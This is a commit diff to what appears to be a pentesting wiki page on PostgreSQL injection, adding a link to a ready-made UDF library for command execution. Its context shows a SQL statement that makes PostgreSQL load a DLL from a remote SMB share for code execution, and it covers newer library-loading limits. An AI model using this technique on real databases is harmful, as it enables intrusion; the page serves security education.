Adding PolyUDF project to the postgresql injection page

This commit is contained in:
Lamisedaxeh 2024-06-19 16:59:43 +02:00 committed by GitHub
parent f87c7845a7
commit 4716617f4c
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -288,6 +288,8 @@ Note how in this case the **malicious code is inside the DllMain function**. Thi
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
The [PolyUDF project](https://github.com/rop-la/PolyUDF) is also a good starting point with the full MS Visual Studio project and a ready to use library (including: _command eval_, _exec_ and _cleanup_) with multiversion support.
### RCE in newest Prostgres versions
In the **latest versions** of PostgreSQL, restrictions have been imposed where the `superuser` is **prohibited** from **loading** shared library files except from specific directories, such as `C:\Program Files\PostgreSQL\11\lib` on Windows or `/var/lib/postgresql/11/lib` on \*nix systems. These directories are **secured** against write operations by either the NETWORK\_SERVICE or postgres accounts.